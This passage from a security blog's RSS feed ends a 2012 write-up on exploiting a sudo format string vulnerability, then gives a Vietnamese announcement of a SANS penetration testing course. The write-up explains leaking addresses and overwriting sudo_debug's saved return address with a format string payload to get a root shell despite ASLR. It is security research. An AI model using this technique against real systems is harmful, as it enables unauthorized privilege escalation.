      $2 = {int (const char *, char * const *, char * const *)} 0xb7726fe0 <my_execve>
      

      This is a quite good improvement, even on PaX-enabled kernel we only need few tries to get a root shell. But with grsecurity’s bruteforce deterring, I don’t know how long it will take (maybe days) as I failed to get a shell after a day. Though we have a good exploit against real ASLR, it is still far from ideal “one-shot exploit”. One-shot exploit can only be done if we are able to leak the library/binary address then (ab)use it on the fly.

      In TODO part of Phrack 67 article, the author mentioned that he could not stabilize the use of copy (read+write) primitive when abusing printf(). I decided to reproduce his experiment under a new condition: stack limit is lifted with “ulimit -s unlimited”. After hundred of tries for different offsets, we can stabilize the copy, which means we successfully leak the address and abuse it on the fly. Hunting for address on stack is easy now, we can choose to pick saved EIP of sudo_debug itself or any address of libc available on stack (e.g from __vfprintf_internal function). Then we calculate the offset from there to an exec() function, copy (read+write) it to overwrite saved EIP of sudo_debug() with a format string looks like “%*123$x %456x %789$n”. By repeating the write step, we are able to create custom arguments on stack to prepare for a valid execution via exec() and achieve a one-shot pwn.

      Notes

      • We rarely find pointer to save EIP of functions on stack for direct overwrite like this case
      • Direct parameter access is 12-bytes each unlike 4-bytes each in normal format string exploit. This will limit your ability to write to arbitrary pointer on stack.
      • Copy primitive uses unsigned value, so if library/binary base is mapped at high address (e.g 0xb7NNNNNN) we will fail to leak the address on the fly (it is still an open problem, hope someone can find out). With PaX’s ASLR, we are in luck as it maps library/binary start at something like 0×2NNNNNNN in the effect of “ulimit -s unlimited” (so it actually has effect :)).
      ]]>
      http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/feed/ 7
      Học viện SANS đến Việt Nam 03/2012 http://www.vnsecurity.net/2011/12/hoc-vien-sans-den-viet-nam/ http://www.vnsecurity.net/2011/12/hoc-vien-sans-den-viet-nam/#comments Tue, 20 Dec 2011 09:10:31 +0000 suto https://www.vnsecurity.net/?p=1278

      Những ai làm về lĩnh vực an toàn thông tin chắc đều biết đến học viện SANS như là một học viện hàng đầu thế giới về đào tạo an toàn thông tin. Học viện SANS, được thành lập từ năm 1989, đã đào tạo hơn 165,000 chuyên gia an toàn thông tin khắp nơi trên thế giới trong đó có những nhà quản lý an toàn thông tin cao cấp, chuyên gia đánh giá an ninh hay các quản trị viên hệ thống cho các tập đoàn hàng đầu thế giới hay các cơ quan an ninh chính phủ. Học viện SANS còn có một hệ thống tài liệu nghiên cứu khổng lồ về an toàn thông tin và điều hành trung tâm cảnh báo an ninh Internet.

      Các chứng chỉ an toàn thông tin của học viện SANS được công nhận trên toàn thế giới và luôn được đánh giá là chứng chỉ hàng đầu về an toàn thông tin. Thông thường các khóa học của học viện SANS hàng năm diễn ra ở Mỹ, Châu Âu và một vài nước Châu Á. Việc học và thi chứng chỉ của SANS nói riêng hay các chứng chỉ quốc tế khác thường mất khá nhiều thời gian và tốn kém tại Việt nam. Như một bước khởi đầu cho việc đào tạo an toàn thông tin ở Việt nam, học viện SANS lần đầu tiên mở một khóa học SANS 560 về Kiểm Định An Toàn Thông Tin Mạng (“Network Penetration Testing and Ethical Hacking”) vào đầu năm 2012 tại thành phố Hồ Chí Minh.

      Học viên sẽ được tổ chức thi chứng chỉ GIAC Penetration Tester (GIAC GPEN) tại chỗ. Đây là chứng chỉ uy tín nhất hiện nay dành cho chuyên gia an toàn thông tin trong việc kiểm định an toàn thông tin mạng.

      Thời gian: Tháng 03, 2012
      Địa điểm: The Fleminton Tower
      182 Lê Đại Hành, Quận 11
      Thành phố Hồ Chí Minh, Việt nam

      Để đăng kí khóa học, xin vui lòng truy cập vào http://www.sans.org/mentor/details.php?nid=27046. SANS hiện có chương trình giảm giá cho các công ty, tổ chức về an toàn thông tin tại Việt nam cũng như các công ty đăng ký từ 02 học viên trở lên. Để có được mã giảm giá, xin vui lòng email thanh _AT_ vnsecurity.net  trước khi đăng ký.

      Thông tin chi tiết hơn về khóa học có thể xem ở đây.

      Thông tin tham khảo:

      1. http://force.vnsecurity.net/download/SANS-560-VN.pdf
      2. https://www.sans.org/security-training/network-penetration-testing-ethical-hacking-937-mid
      3. http://www.giac.org/certification/penetration-tester-gpen
      4. http://www.sans.org/mentor/details.php?nid=27046
      ]]>
      http://www.vnsecurity.net/2011/12/hoc-vien-sans-den-viet-nam/feed/ 1